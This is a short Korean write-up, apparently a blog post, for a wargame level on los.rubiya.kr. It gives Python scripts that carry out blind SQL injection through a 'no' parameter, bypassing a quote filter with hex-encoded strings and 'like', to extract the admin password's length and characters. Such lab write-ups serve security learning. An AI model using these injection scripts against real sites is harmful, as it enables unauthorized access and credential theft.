728x90
문제 접근
1. 필터링 및 SQL Injection 포인트 찾기
no 파라미터를 통해 SQL 인젝션 공격을 시도하면 될꺼같다.
2. Blind SQL Injection
2.1 admin의 pw 길이
'(싱글 쿼터)가 필터링이 되기 때문에 id like 'admin'을 대신해 admin의 hex 값을 이용해 id like 0x61646 d696 e 사용
import requests
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?'
cookies = {"PHPSESSID":"r1g9lcvjgj13dag8l5migjcus0"}
for i in range(100):
params = 'no=1 or id like 0x61646d696e %26%26 length(pw)like '+str(i)
response = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in response.text:
print("pw의 길이는" , i)
break
2.2 pw 값 구하기
pw의 값이 대소문자를 구별하지 않아 중복이 된다.
import requests
import string
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?'
cookies = {"PHPSESSID":"ehfeb49bjnrn7o6flaqbts8u2v"}
string = string.ascii_lowercase + string.digits #string.ascii_lowercase : 소문자
ch = ''
for i in range(1,9):
print("pw 의 {}번째 패스워드".format(i))
for j in string:
params = 'no=1 or id like 0x61646d696e %26%26 mid(pw,'+str(i)+',1) like"'+str(j)+'"'
response = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in response.text:
ch += j
print(ch)